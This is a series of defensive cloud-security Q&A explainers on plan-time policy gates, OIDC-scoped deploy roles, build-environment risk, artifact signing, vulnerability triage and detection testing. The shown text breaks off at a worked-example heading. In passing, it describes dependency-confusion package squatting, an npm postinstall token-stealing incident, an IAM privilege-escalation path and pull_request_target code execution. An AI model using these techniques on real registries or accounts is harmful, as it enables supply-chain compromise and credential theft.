Run checks at three points: pre-commit, plan-time as a blocking merge gate, and continuously against the running estate, and treat the plan gate as the one that must stop a deploy. The plan gate catches a misconfiguration before it exists, so the fix is a one-line diff and a re-plan. Runtime checks catch what never went through the pipeline. Neither covers the other, so you run both and treat disagreement between them as signal rather than noise.

Where each check runs, and what it can see

StageInputToolsBlocks?
Pre-commit / IDElocal filesCheckov, Trivy (tfsec was folded into it), terraform validateno: fast feedback only
Plan-timeterraform show -json plan.outCheckov, Conftest/OPA (Rego), Sentinelyes: merge gate
Runtimelive cloud APIAWS Config conformance packs, Azure Policy, GCP Security Command Centeralerts or auto-remediate

The plan-time gate is load-bearing. terraform show -json plan.out emits a machine-readable plan; Checkov and Conftest consume it and fail the CI job on a violation. In Terraform Cloud/Enterprise, Sentinel policies run between plan and apply by default, so a failing policy stops the apply without a separate CI step.

Why plan-time alone fails

Two gaps, and the second is the one teams miss:

  1. Resources created outside the pipeline. Console clicks, a break-glass script, a vendor integration. The plan gate never sees them.
  2. Values unknown at plan time. Terraform marks attributes that depend on apply-time data as known after apply. A policy checking cidr_blocks == ["0.0.0.0/0"] cannot evaluate a security group whose CIDR comes from a data source resolved at apply: the check silently passes. That is not a scanner bug; the plan does not contain the value yet. Mitigation: re-run the same policy set against applied state, or against the provider's own config service, so the unknown resolves.

Worked example (hypothetical figures)

A team running Checkov on plan only, over 18 months:

  • 412 resources created through the pipeline: all evaluated at plan time.
  • 61 resources created directly in the console: none evaluated.
  • 4 of those 61 had a security group open to 0.0.0.0/0 on port 22.

Adding AWS Config's restricted-ssh managed rule plus a nightly Conftest run against terraform show -json of state closed the gap. The coverage number to report is running resources never evaluated by the plan gate. If it is not zero, the pipeline is not the whole story.

Failure modes

  • Plan-time false pass on unknown values. Policy passes when it should fail. Detect by diffing plan-time results against runtime results for the same resource.
  • Runtime-only checks. You find the open port after it has been live for hours. Track time-to-detection.
  • Policy drift between engines. The same resource passes one stage and fails the other. Keep one Rego or Checkov ruleset and feed both stages from it.

Fail at plan time; find out you were wrong at runtime.

Curated: · Written: · Reviewed:

Q&A-20Your build system can deploy to production. What makes that safe?

The 90-second answer

Nothing about the build system makes it safe. A CI runner executes code from every contributor, so whatever identity it holds is effectively held by anyone who can land a commit, a branch, or a pull request that reaches a workflow. The question is not "is the pipeline reviewed" but "what is the deploy credential conditioned on, and can untrusted code satisfy that condition?"

Assumptions: GitHub Actions on GitHub-hosted runners, AWS as the deploy target, OIDC federation available. GitLab CI and GCP have the same shape with different claim names.

Three things make it safe, in order of importance:

  1. The deploy identity is assumed via OIDC, never stored as a secret, and the cloud trust policy pins the token's sub claim to a protected ref or an environment.
  2. The job that runs untrusted code has no deploy permission at all: separate job, separate role, no shared credentials.
  3. A human gate sits between "artifact built" and "artifact deployed": a GitHub environment with required reviewers, restricted to protected branches.

Mechanism: the sub claim is the whole control

GitHub mints a short-lived OIDC JWT per job. AWS exchanges it via sts:AssumeRoleWithWebIdentity; the default session is 3600 seconds, configurable up to the role's MaxSessionDuration. The JWT's sub is derived from where the job runs, and the trust policy decides which values are acceptable:

sub condition in the trust policyFork PR job can assume the roleRefs that can assume it
repo:acme/payments:* (or StringLike)yesall
repo:acme/payments:ref:refs/heads/mainnomain only
repo:acme/payments:environment:prodnojobs declaring environment: prod, further limited by that environment's deployment-branch rule

A pull_request job's sub is repo:acme/payments:pull_request, so the wildcard row is the one that lets a fork deploy. Use StringEquals, not StringLike.

{
  "Effect": "Allow",
  "Principal": {"Federated": "arn:aws:iam::123456789012:oidc-provider/token.actions.githubusercontent.com"},
  "Action": "sts:AssumeRoleWithWebIdentity",
  "Condition": {
    "StringEquals": {
      "token.actions.githubusercontent.com:aud": "sts.amazonaws.com",
      "token.actions.githubusercontent.com:sub": "repo:acme/payments:environment:prod"
    }
  }
}
on:
  push: {branches: [main]}
permissions:
  contents: read
  id-token: write
jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - run: make build test
      - uses: actions/upload-artifact@v4
        with: {name: app, path: dist/}
  deploy:
    needs: build
    runs-on: ubuntu-latest
    environment: prod
    steps:
      - uses: actions/download-artifact@v4
        with: {name: app, path: dist/}
      - uses: aws-actions/configure-aws-credentials@v4
        with:
          role-to-assume: arn:aws:iam::123456789012:role/gha-deploy-prod
          aws-region: eu-west-1
      - run: ./deploy.sh

The build job has no AWS credentials and no id-token reach into the deploy role; the deploy job never runs on pull_request. Deploy the artifact built once: rebuilding inside the deploy job reintroduces untrusted code after the gate.

Failure modes

  • pull_request_target runs in the base repo's context with secrets. If it checks out the PR head and executes it, that is remote code execution holding the deploy role. Detect by grepping workflows for pull_request_target plus actions/checkout with ref: ${{ github.event.pull_request.head.sha }}.
  • An environment with required reviewers but no deployment-branch restriction still accepts a sub from any branch that declares it.
  • Org-level default workflow permissions left at read-write let a new workflow grant itself id-token: write without review. Set the org default to read-only and put CODEOWNERS on .github/workflows/**.
  • Self-hosted runners: a compromised runner can read the OIDC token from the job's environment and use it elsewhere within its lifetime.

Verification

Push a branch that is not protected, run a job that calls aws sts assume-role-with-web-identity against the deploy role, and confirm AccessDenied. Then check CloudTrail for AssumeRoleWithWebIdentity events and confirm the recorded sub matches the expected ref or environment: that log is also how you tie a deploy back to the human who approved it.

When not to use this

If the target cloud has no OIDC federation, don't fall back to a static key in CI secrets: any job that can print its environment, or any contributor who can edit a workflow on a branch that runs with secrets, can read it. Use a broker that mints short-lived credentials from the CI JWT (Vault's JWT auth backend), or a pull-based deployer (Argo CD) that reads signed artifacts from a registry and never lets CI hold production credentials at all.

Curated: · Written: · Reviewed:

Q&A-70Why is the build environment often the weakest part of a well-secured estate?

The 90-second answer. A build environment is the one host in the estate that runs code you did not write, holds credentials that can change production, and is usually exempted from the controls applied to production because those controls slow the pipeline down. Untrusted input, high-value secrets, weak enforcement: that combination is the whole problem. The fix is not "add a scanner"; it is to break the combination: keep production credentials out of the build, make each build ephemeral, and restrict what a build can reach on the network.

Why the trust inversion happens. Everywhere else, the boundary is clear: production runs your code with your credentials, and a developer laptop runs your code with your credentials. The build is the only place where a stranger's code (a fork PR, a transitive dependency's postinstall, a base image) executes in the same process tree and environment as the credentials that deploy to production. Controls that would catch this elsewhere (network segmentation, no standing credentials, per-request authorization) get dropped because a build that cannot reach the registry or the artifact store is a build that fails.

A concrete failure. In July 2018, eslint-scope@3.7.2 was published to npm with a postinstall script that read the contents of ~/.npmrc and POSTed it to a remote host. Anyone who ran npm install on a machine with a publish token in .npmrc leaked that token, and the build environment is exactly where such tokens live. The script ran with the build's identity, on the build's network, with no egress restriction to record where the token went. Detection came from the community diffing the published tarball against the repo, not from the build system.

Trade-offs, and when each measure is worth it.

MeasureWhat it buysWhat it costsWorth it when
OIDC short-lived tokens instead of static cloud keysnothing durable to steal; token expires in minutestrust-policy work; breaks providers without OIDCwhenever the cloud and CI both support it
Ephemeral runners (fresh VM/pod per job)no state or credentials survive between jobscold-start latency on every job; no warm cachesany job that runs fork PRs or untrusted deps
Egress allowlist from buildersexfiltration needs an allowed patha proxy to run and maintain; false blocks break buildsbuilds that hold prod-adjacent credentials
Required review on pipeline-definition changesan attacker who lands a commit cannot rewrite the deploy stepreview latency on CI changesalways: the pipeline is production code

The deciding criterion is blast radius: if the credential a job holds can change production, isolate the job; if it can only read a public registry, the cost of isolation is not repaid.

What the hardened version looks like. GitHub Actions with OIDC, checked against the 2024 workflow syntax:

permissions:
  id-token: write   # mint an OIDC token
  contents: read    # nothing else
jobs:
  deploy:
    runs-on: ubuntu-latest
    steps:
      - uses: aws-actions/configure-aws-credentials@v4
        with:
          role-to-assume: arn:aws:iam::123456789012:role/ci-deploy
          aws-region: eu-west-1

The role's trust policy pins token.actions.githubusercontent.com:sub to repo:org/repo:ref:refs/heads/main, so a fork PR cannot assume it even if it edits the workflow. The default GITHUB_TOKEN is read-only for contents on new repositories, but pull_request_target still hands a fork's code the base repo's secrets: that trigger is the single most common way this boundary is lost.

Failure modes and how you see them. A build that reaches an unapproved host shows up only if egress is logged: attempt an outbound connection from a builder to a host you did not allowlist and confirm it is blocked or recorded. A leaked token shows up as an unexpected publish or API call from an unfamiliar IP, which is why the build's cloud identity should be distinct from any human's. A persistent self-hosted runner shows up as one job reading another's leftover files; the test is to run a job that writes a file and check whether the next job on that runner can read it.

Curated: · Written: · Reviewed:

Q&A-88Artifacts are signed. Where does that stop being useful?

The 90-second answer

Signing stops paying for itself at three points.

First, when nothing enforces verification. A signature is a claim; the verifier is the control. Kyverno's validationFailureAction defaults to Audit: it writes a PolicyReport and admits the pod anyway. Gatekeeper defaults to deny, but warn and dryrun are one field away. In both cases the policy exists and the object lands.

Second, when the trust root sits inside the blast radius. If the CI job that builds the image also holds the signing key, an attacker who owns the build signs whatever they like and every signature verifies. The signature proves "the build system did this": the exact thing you were trying to constrain.

Third, when verification doesn't pin who signed. Keyless Sigstore verification without --certificate-identity and --certificate-oidc-issuer accepts a signature from any OIDC identity Fulcio will issue to, including a fork's workflow. Cosign 2.0 made both flags required for keyless verify for this reason.

And it isn't worth doing at all when no adversary can write to your artifact store: single-tenant registry, one pipeline, no third-party base images. You'd be buying key management against a threat you don't have.

Enforcement is the whole control

StageConfiguredActually enforcing
cosign sign in CIyesyes
pipeline verifyyesyes
Kyverno verifyImagesyesvalidationFailureAction: Audit

What the signature costs and what it covers

An Ed25519 signature is 64 bytes, ECDSA P-256 is about 71 bytes DER, RSA-2048 is 256 bytes. The blob is nothing. The cost is the round trip: cosign stores the signature as a separate OCI artifact tagged sha256-<image-digest>.sig, so every verification is one extra registry GET, plus a Rekor inclusion-proof lookup for keyless. Budget that per admission, not per build.

Keyless also bounds the key's life. Fulcio issues a certificate valid for 10 minutes, so the signing key exists only for that window and there is nothing to rotate. A long-lived KMS key is the opposite: NIST SP 800-57 puts a 1–3 year cryptoperiod on signing keys, and anything holding sign on that key is a signing oracle.

Alternatives and when each wins

  • Keyless (Sigstore: Fulcio + Rekor). No long-lived key to steal; identity is the OIDC subject. Wins for open-source and multi-tenant CI. Cost: pin issuer and identity at verify time, and you depend on Fulcio/Rekor availability.
  • Long-lived key in KMS/HSM. Offline-verifiable, works air-gapped. Wins when you own the whole pipeline. Cost: rotation, and the signing oracle above.
  • Registry-native (Notation / Notary v2). Trust material travels with the artifact as an OCI referrer. Wins when consumers sit outside your cluster.

Failure modes and how you see them

  • Warn-mode drift: policy left in Audit after a rollout. Detect by asserting on the PolicyReport count, not the policy spec.
  • Identity not pinned: any workflow in the org passes. Detect by signing from a throwaway repo and confirming rejection.
  • Signature covers the digest, not the runtime: the image is signed, but the pod mounts an unsigned ConfigMap or pulls a mutable tag. Detect by checking what admission actually evaluates.

The test that settles it

Push a deliberately unsigned image and deploy it. If it runs, signing is metadata. Repeat with an image signed by a different OIDC identity. Both must be refused, not warned.

Self-assessment

Key points a strong answer hits:

  1. A signature is not a control; name the verifier and its failure mode.
  2. Where the trust root lives, and what compromising the build yields.
  3. Identity pinning for keyless: issuer and subject, both.
  4. The threat model first: no adversary writing to the store means no value.
  5. Exact defaults: Kyverno Audit, Gatekeeper deny, cosign 2.0's required keyless flags.

What interviewers listen for: whether you separate the cryptographic primitive from the enforcement plane; whether you can name the config field that decides enforcement; whether you know the keyless identity flags by name; whether you scope the threat model before recommending the tool.

Weak-answer patterns: "signing is always good practice" with no threat model; describing cosign mechanics without saying who verifies; treating a SLSA level as a property of the signature; "use a KMS" without addressing who can call sign.

Likely follow-ups: Where does the verification policy live so the pipeline that builds cannot edit it? How do you verify an attestation rather than the image (cosign verify-attestation)? What breaks air-gapped with keyless? How do you rotate a long-lived key without a window where both are trusted? What does SLSA level 3 buy you over a signature?

Curated: · Written: · Reviewed:

Q&A-87Why can an internal package name be dangerous?

An internal package name is dangerous because it is a name an attacker can register on a public registry, and most resolvers will install the public package if it looks newer. The name is not secret: it ships in package-lock.json, requirements.txt, Dockerfiles, CI logs and SBOMs. The attack is to publish acme-utils at version 99.0.0 on npmjs or PyPI, wait for a build to resolve it, and run code inside that build with whatever credentials the build holds. Assume you pull from a private registry plus at least one public one, and you do not pin by hash.

pip is the clearest case, because --extra-index-url does not mean "fall back". pip merges the candidate sets from every index and picks the highest version satisfying the specifier. Given:

# requirements.txt
acme-utils==1.4.0
pip install --index-url https://pypi.acme.internal/simple \
            --extra-index-url https://pypi.org/simple \
            -r requirements.txt

pip sees 1.4.0 from the internal index and 99.0.0 from PyPI, and installs 99.0.0. The ==1.4.0 pin does not save you, because a pin is a version specifier, not a source constraint. The same applies when PIP_EXTRA_INDEX_URL is set in a pip.conf nobody remembers writing.

npm lands in the same place by a different route. npm resolves a package from the registry configured for its scope, or from the default registry. It does not fall back to npmjs for a scoped name that has a registry set. The exposure is when your default registry is a proxy or group repo (an Artifactory virtual repo, a Nexus group repo) that aggregates npmjs: the group decides precedence, and if it prefers the highest version, the public package wins. Unscoped internal names behind such a proxy are the risk.

Fixes, strongest first.

  • npm: put every internal package under a scope you own and map it in .npmrc: @acme:registry=https://artifactory.acme.internal/artifactory/api/npm/npm-private/. Set publishConfig.registry in each package.json so a stray npm publish cannot go public. Confirm with npm config get @acme:registry.
  • pip: drop --extra-index-url. Point --index-url at one internal index that proxies PyPI itself, so precedence is decided server-side. If you cannot, add --require-hashes with a fully pinned requirements.txt; a substituted tarball then fails with a hash mismatch instead of installing.
  • Pin by digest: npm ci against a committed package-lock.json (sha512 integrity), yarn install --frozen-lockfile, pnpm install --frozen-lockfile.
  • Register the names: publish a placeholder release of each internal name on the public registry so nobody else can take it.

Detection. Alert on any install that resolves a package from a public registry whose name matches your internal namespace. Diff the lockfile in CI and fail the build when a resolved URL or integrity hash changes without a matching manifest change. Then look at the build's own credentials: the 2021 Birsan disclosures worked because CI tokens were reachable from the install step, so a substituted package did not need to be clever, only early.

Curated: · Written: · Reviewed:

Q&A-89A dependency has a critical vulnerability. Do you have to fix it now?

No. A critical severity rating describes the vulnerability, not your exposure. You have to triage now, but you only have to fix now if the vulnerable code is reachable from untrusted input on a system an attacker can reach. Otherwise it goes on a scheduled queue with the reason recorded.

The mechanism: scanners match package versions against advisories. That tells you the vulnerable function exists in the artifact. It does not tell you whether your code calls it, whether the call is on a path an attacker can drive, or whether the deployment actually loads that artifact. Reachability analysis tries to close that gap by building a call graph from your entry points to the vulnerable function. Static call graphs are approximations. They miss reflection, dynamic dispatch, deserialization, dependency injection by name, and code generated at runtime. They also over-report: test-only code, dead branches, admin-only endpoints. So treat a static "unreachable" as a hypothesis, not a fact.

A worked triage, hypothetical: 100 critical findings. Static reachability marks 6 as reachable. You run the service in staging with production config and instrument the vulnerable functions. Only 2 are invoked: one on a public API, one on an internal nightly batch. The public API one is fixed in 4 hours by upgrading the package and running the contract tests. The internal batch one is scheduled for the next sprint, with a compensating control: the batch runs with a restricted service account and no untrusted input. The other 98 are tracked in the backlog and re-evaluated when the call graph or deployment changes. Arithmetic: if each package upgrade costs 2 engineer-days, fixing all 100 costs 200 engineer-days. Fixing the 2 reachable ones costs 4 engineer-days. The remaining 196 engineer-days go to work that reduces more risk.

Decision table:

EvidenceAction
Vulnerable function invoked with untrusted input on internet-facing serviceFix now, hours
Invoked only from trusted internal pathFix in days, add monitoring
Not invoked in staging with production configSchedule, record why, re-check on config change
Static says unreachable but runtime instrumentation not runDo not close; run instrumentation or add a test that exercises the path

Failure modes to watch:

  • Reflection or DI hides the call. Detection: runtime instrumentation or an integration test that drives the entry point.
  • Build SBOM differs from runtime. Detection: generate the SBOM from the running container, not the build.
  • Feature flag or config makes the path reachable later. Detection: tie re-evaluation to flag changes.
  • Compensating control removed. Detection: alert on network policy or authz changes.

What would change the decision: evidence the function is reachable, an exploit in the wild, the service becoming internet-facing, or the compensating control going away. Until then, schedule it and record the reason.

Curated: · Written: · Reviewed:

Q&A-59Which patching is still yours when the provider manages the service?

What's still yours: the version decision, and everything you put inside the boundary.

The provider patches the service implementation (the control plane, the managed engine binary, the host OS underneath it) on its own schedule. What stays with you is which supported version you run and when you move off it, plus every artefact you place inside the service: container images, function runtimes and their dependencies, application libraries, and the data migration itself.

That split is why "managed" describes who applies the patch, not who owns the risk. A provider fix for an engine CVE does nothing for the vulnerable library in your image.

The real decision is the upgrade policy, and there are three credible ones.

PolicyPicks the versionPicks the timingFails when
Provider auto-upgrade / default channelproviderprovidera breaking change lands mid-quarter with no test window
Pinned version, manual upgradeyouyouthe pin outlives end of support and you get no security patches at all
Provider-managed window you configureprovideryouyou configure the window but never test in it

Pinning is the right default for stateful engines where a minor-version change can alter query plans or replication behaviour, and where a staging environment genuinely exercises the upgrade. It is the wrong choice when the pin is the only thing standing between you and a migration you keep deferring: at that point you are not managing risk, you are compounding it, because migration cost grows with the version gap and the provider eventually forces the move on its own terms.

Auto-upgrade is right for stateless, well-tested workloads where the provider's release cadence outpaces your ability to test. It is wrong when you have no rollback path and no way to detect a regression inside the provider's window.

For some services there is no policy choice at all: serverless function runtimes are deprecated on the provider's clock, and the only decision left is when to migrate.

Failure mode. A function runtime reached end of support. The provider stopped accepting updates to functions on it, so 14 functions could not be changed at all: including one that needed an urgent security fix. The detection signal is not the deprecation announcement; it is the count of resources sitting inside the EOL window, which you should be able to produce per service in minutes.

Illustrative figures for one estate:

ServiceResourcesWithin 6 months of EOL
function runtime6114
database engine123
container base2100

The container row looks healthy and is not: base images are rebuilt on your pipeline, so they never surface as "near EOL". They surface as a CVE in a scan.

What to report. Count of resources on versions within 6 months of end of support, per service, with the version and the EOL date attached. That number, not the control's name, tells you whether patching is actually yours.

Curated: · Written: · Reviewed:

Q&A-58You have 4,000 open vulnerabilities. Which do you fix first?

The 60-second answer

First I'd pin down three things: is anything being exploited right now (that's an incident, not a backlog item), how good is the asset inventory, and what compliance SLA am I bound to. Assuming no active incident and a usable inventory: I don't sort by CVSS. I sort by whether the flaw is being exploited, whether an attacker can reach it, and what the asset controls. That collapses 4,000 findings to a few hundred, and the top few dozen get fixed this week.

Why severity alone fails

A CVSS base score describes the flaw in the abstract, under worst-case deployment assumptions. It doesn't know that the vulnerable function is never called in your build, that the service sits behind mTLS and a VPN, or that the "network" vector is a loopback-only port. Severity is a prior. Exposure and exploitation are the evidence.

The signals I actually use

  1. Known exploitation. CISA's KEV catalog lists on the order of a thousand CVEs with confirmed in-the-wild exploitation; a KEV hit is a hard yes, patched on a 24–72h clock. For everything else, EPSS gives a 0–1 probability of exploitation in the next 30 days. The distribution is heavily skewed, so a threshold like 0.1 selects a small slice of the corpus.
  2. Exposure. Internet-facing and reachable from an untrusted network outranks internal-only.
  3. Reachability. Is the vulnerable code path compiled in and invoked? SBOM plus call-graph or runtime telemetry answers this; guessing doesn't.
  4. Blast radius. Identity provider, CI/CD, secrets manager, hypervisor and the build pipeline outrank a single app, because compromising them compromises everything downstream.
  5. Compensating controls. A WAF rule or segmentation that actually blocks the exploit path lowers priority, but only if you've tested that it blocks it.

Triage into tiers, not one score

TierRuleSLA
0In KEV, reachable, exposed72 h
1EPSS ≥ 0.1, exposed, reachable30 d
2Exposed, no known exploit90 d
3Internal, no known exploitnext patch cycle
4Not reachable / not deployedclose with a note

Worked example, illustrative numbers: 4,000 findings; 1,200 internet-facing; 60 in KEV; 300 more with EPSS ≥ 0.1. Tier 0 plus tier 1 is 360 items: a quarter of real work, not 4,000. The remaining 3,640 stay tracked and get re-scored as KEV and EPSS move.

Failure modes

  • KEV lags. A CVE can be exploited for weeks before it's catalogued, so KEV is a floor, not a ceiling. Pair it with EPSS and your own telemetry: EDR detections, WAF blocks, egress anomalies.
  • EPSS is a probability, not a severity, and it runs high for software you may not even run (browsers, mail clients). Filter against your inventory.
  • Reachability tooling has false negatives. Treat "not reachable" as a claim to verify, not a fact.
  • Prioritisation without owners and deadlines is a report. Every tier needs a named owner and an SLA, and you measure mean time to remediate per tier.
  • 4,000 open findings means intake outpaces remediation. Fix the pipeline (base-image rebuilds, dependency updates in CI) or you'll re-triage the same list next quarter.

When to deviate

If PCI DSS v4.0 or a customer contract sets severity-based SLAs, run both tracks: compliance on CVSS, engineering priority on exploitability. And if you have no inventory or SBOM, you can't do reachability: start with KEV plus exposure and build the inventory in parallel.

Curated: · Written: · Reviewed:

Q&A-98How do you decide whether a newly announced vulnerability matters to you?

What I'd say first

This assumes an inventory that maps running services to component versions and their config: without it, step 1 is guesswork. Given that, I decide by three questions in order, and I stop at the first "no":

  1. Do we run the affected component, in an affected version?
  2. Is the vulnerable code path reachable in our configuration: does the specific function or endpoint the advisory names actually execute on our inputs?
  3. Does a compensating control already block it?

Only when all three are "yes" is it an incident. Everything else is a patch-cycle item. The order matters: each step is cheaper than the next, so you spend the least effort to eliminate the most advisories.

Why reachability, not version, decides

A version range tells you the code is present. It doesn't tell you it runs. Most advisories name a specific function, endpoint, or feature flag. A deserialization CVE in a library where you only call the serializer, never the deserializer, is present but unreachable. A config-gated feature you never enabled is present but unreachable. So step 2 is: read what the advisory says is vulnerable, grep for calls to it, then check the config that gates it.

Worked example

Advisory: RCE in a JSON library's polymorphic type handling, versions 2.0–2.9.3. Inventory says we run 2.9.1: in range, step 1 is yes.

Step 2: the vulnerable path is the type resolver, which only runs when polymorphic typing is enabled. Grep the codebase: we call parse on untrusted input in three services, but none enable polymorphic typing. Config check across those services: the flag is off everywhere. Verdict: present, not reachable. Normal patch cycle.

If one service had the flag on and accepted user-supplied JSON, that service is the incident and the other two are not. Same CVE, same version, different answer, because reachability is per-deployment, not per-version.

The trade-off: when to skip step 2

Reachability analysis costs hours. Under active exploitation (the CVE is in CISA's KEV catalog, there's a public PoC, or it's wormable) I patch on version match alone. When the fix is cheaper than the analysis, do the fix. Deep reachability is worth it when patching is disruptive (kernel, database, embedded firmware) or the component is everywhere and a bad patch is its own outage.

Exploitation statusReachability analysisAction
Active (KEV, public PoC, wormable)skippatch on version match, hours
No PoC, internet-facingdo itpatch this cycle
No PoC, internal onlydo itnext cycle

Failure modes

  • Stale inventory gives a confident "not affected" that's wrong. Detect it by how long the answer takes: if "do we run this" takes days, the inventory is the defect, not the advisory.
  • Assuming config is uniform. One team enabled the flag. A single grep misses it; config-drift scanning catches it.
  • Treating CVSS as relevance. A 9.8 in an unreachable path is a zero for you. A 5.0 auth bypass on an internet-facing endpoint is not.

Curated: · Written: · Reviewed:

Q&A-15Your cloud security posture tool reports 98 percent compliant. What does that leave open?

The 98% is a fraction of the tool's denominator, not of your estate.

A CSPM tool assumes a read-only role into each connected account, pulls resource configuration from the control plane, and evaluates each resource against the rules in the enabled benchmark. The score is passed ÷ evaluated. So the real question is what "evaluated" leaves out, and there are three buckets.

1. Outside the denominator. Accounts never onboarded, regions where the tool isn't enabled, resource types it doesn't support, resources muted by suppression rules or "accepted risk" tags, and resources with no configuration recorder behind them. None of these count as failures: they simply never appear in the fraction.

2. Inside the denominator, passing for the wrong reason. A rule encodes a baseline, not your threat model. A role with iam:PassRole on a broad resource plus lambda:CreateFunction passes every rule that only looks for Action: "*", and it is a working privilege-escalation path. A bucket policy granting a named external account passes rules that only look for Principal: "*". Compliance is a property of the config against the rule, not of the path an attacker can walk.

3. Time. The score is a snapshot. Resources created by a pipeline between scans, or drifted by a console change, are compliant in the report and not in the account. The tool also sees control-plane config only, not data sensitivity, not whether a permitted permission is ever exercised.

MeasureValue
Reported compliance98%
Accounts connected / in org31 / 44
Regions enabled / in use4 / 17
Account-region pairs scanned124 / 748

Run the arithmetic on that table. 98% of 124 pairs is about 122 passing. Against the 748 pairs that exist, that is 122/748 ≈ 16%. The headline describes 16% of the surface, and the 2% it flags is roughly two pairs.

A failure I've seen: the breach began in one of the 13 unconnected accounts. A legacy environment nobody had onboarded, so it never showed up as a gap. Detection is a reconciliation job, not a dashboard. Pull the account list from the org (AWS Organizations, GCP org, Azure management groups) and the region list from the provider, diff both against the tool's connected inventory, and alert on the diff. Track accounts connected, regions enabled and resource types supported as first-class metrics next to the score.

What to pair with it: reachability analysis (can this principal reach that data?) and periodic adversarial testing that starts from an attacker's position rather than a rule list. Neither replaces the other: the score says the config matches a rule, reachability says whether the match matters.

If someone asks whether 98% is good, ask for accounts and regions covered against accounts and regions that exist, sourced from your own inventory rather than the tool's.

Curated: · Written: · Reviewed:

Q&A-16Would you rather prevent a misconfiguration or detect it?

Assumptions first: this is cloud infrastructure config in an org with several teams and a CI/CD path. The answer flips for a single-operator system, where detection is often all you can afford.

I'd prevent the class of misconfiguration that is never legitimate and irreversible, and detect the class that is context-dependent. The deciding question isn't which is better: it's what one occurrence costs versus what a false positive costs.

Mechanism: prevention removes the state from the reachable set. If s3:PutBucketAcl with public-read is denied at the org level, no console click, no Terraform apply, no SDK call reaches it. Detection doesn't remove the state; it bounds how long the state exists. So detection's exposure is a sum, not a constant:

exposure = detection latency + triage latency + remediation latency

Prevention's exposure is zero for the covered path, and only the covered path.

The split I use:

  • Prevent: public S3 ACLs, root account access keys, disabling CloudTrail or GuardDuty in a member account, deleting the audit-log bucket, unencrypted volumes where a regulator requires encryption.
  • Detect: security groups open to 0.0.0.0/0, IAM policies with *:*, unencrypted EBS in a sandbox, cross-account trust with a wildcard principal.

The first list is never legitimate, so blocking it costs nothing. The second is usually wrong but sometimes intentional (a public load balancer, a break-glass role) and a hard block there pushes teams into a second account you don't govern.

An SCP that removes the public-ACL state:

{
  "Version": "2012-10-17",
  "Statement": [{
    "Sid": "DenyPublicS3Acl",
    "Effect": "Deny",
    "Action": ["s3:PutBucketAcl", "s3:PutObjectAcl"],
    "Resource": "*",
    "Condition": {
      "StringEquals": {
        "s3:x-amz-acl": ["public-read", "public-read-write", "authenticated-read"]
      }
    }
  }]
}

Two gaps to say out loud: SCPs don't apply to the management account, and this statement doesn't cover a bucket policy granting Principal: "*". That's s3:PutBucketPolicy, a different API. Without a second statement the control is theatre.

ControlExposure on covered pathFalse-positive costFailure mode
SCP deny0blocks a legitimate applyteam moves to an ungoverned account
Config rule, change-triggeredminutesalert noisenobody triages
Config rule, 24h periodicup to 24hlowexposure outlives the attacker's need

Arithmetic, hypothetical but representative: a 24h periodic rule with 4h median triage and 1h remediation gives ~29h worst-case exposure. A change-triggered rule at 5 min detection with the same triage gives ~5h. Detection interval is the smallest term; triage dominates. That's the number to fix first, and it's an ownership problem, not a tooling one.

Two failures I've hit. A daily scan found a public bucket 19 hours after creation, already indexed. And an SCP blocked a legitimate partner integration, so the team created a new account outside the org: strictly worse than the misconfiguration it prevented.

So: prevent what you can enumerate as never-acceptable, detect the rest, and for the detected class publish the exposure budget as a number you can defend. If you can't state that number, you haven't chosen detection: you've chosen to find out later.

Curated: · Written: · Reviewed:

Q&A-48How do you know your cloud detections work?

A detection that has never fired on a real technique is a hypothesis. You know it works when you have run the technique, watched the log arrive, watched the rule match, and read the alert a responder would get: the whole chain, not the rule file.

That chain has four links, and each fails differently: the platform never emits the event; the event arrives but the rule's field path is wrong; the rule matches but the alert says "suspicious API call" with no principal, resource or source IP; the alert is fine but routes to a queue nobody watches. Testing only the rule tests link two.

Three ways to get evidence, cheapest first.

ApproachWhat it provesCostBlind spot
Unit-test the rule against recorded eventsrule logic matches a known event shapeminutes, no prod accesssays nothing about whether the platform emits the event; field names drift between API versions
BAS / atomic tooling in a staging accounttelemetry path end to end, rule fireshours; needs staging logging configured like prodstaging drifts from prod; some techniques need real IAM or real data to be meaningful
Controlled execution in productionthe whole chain, including routing and alert contexthighest; can trip real IR, break workloads, page on-callneeds change control and a blast-radius plan

A unit test is a regression guard, not coverage evidence. Write it anyway: it is the only one of the three that runs in CI on every rule change. Python 3.12, pytest:

import json
from detections import public_bucket_policy  # returns list of findings

def test_flags_wildcard_principal():
    event = json.load(open("fixtures/put_bucket_policy_wildcard.json"))
    findings = public_bucket_policy(event)
    assert len(findings) == 1
    assert findings[0]["principal"] == "*"

def test_ignores_scoped_principal():
    event = json.load(open("fixtures/put_bucket_policy_scoped.json"))
    assert public_bucket_policy(event) == []

Both assertions pass only if the rule reads the principal from the field the fixture actually uses. That is the point: the fixture is a recorded event, not one written to match the rule.

For the end-to-end claim, run the technique. Worked example, figures illustrative: 40 mapped techniques exercised against production telemetry in a change window.

StageTechniques
alerted with usable context11
no telemetry enabled18
telemetry present, rule did not match8
matched, alert lacked context3

18 of 40 were unfixable by writing rules. That number is the argument for exercising rather than reviewing.

When is production testing the wrong choice? When the technique is destructive or irreversible (ransomware encryption, deleting a KMS key, exfiltrating real customer data) use a staging account with the same logging config and accept the drift. When you cannot get a change window, or the account sits in a regulated boundary where an unapproved technique is itself an incident. When the technique would page on-call or trip an automated response that quarantines a real workload. In those cases the honest answer is "unverified", and you say so.

Report coverage as techniques exercised and confirmed, with the stage that failed for the rest. A rule count is not a coverage number.

Curated: · Written: · Reviewed:

Q&A-47Which numbers would tell you the cloud security programme is working?

The short answer

Four numbers, all about exposure rather than activity: how long a misconfiguration stays exploitable, how much standing privilege exists, how much of the estate is actually covered by logging and scanning, and how long a real action takes to be detected. Findings-closed and control-coverage counts measure the tooling and the checklist, not the risk.

Assumptions worth stating out loud: a multi-account cloud estate, a CSPM/CNAPP scanner already deployed, an identity provider you can query for role assignments, and a log pipeline that lands somewhere queryable. If any of those is missing, the first number to report is the gap, not a trend.

The four, defined so they can't be gamed

  1. Exposure duration, by cohort. Not "mean time to remediate open findings": that number falls when you close easy findings. Take the findings created in a given week and measure the fraction closed within 7, 30 and 90 days. That is a survival curve, and closing new low-severity noise does not move it.

  2. Standing privilege. Count principals with standing admin or write on production, plus long-lived access keys. Report the count and the age of the oldest credential.

  3. Coverage. Accounts with a scanner attached, and data-plane logging enabled and queryable, as a fraction of total accounts. The denominator is the part that quietly drifts.

  4. Detection latency. Time from a controlled action (a canary credential used, a test role assumed from an unexpected IP) to the alert firing. This is the only one of the four that measures the detection path rather than the fix path.

A worked example (hypothetical figures)
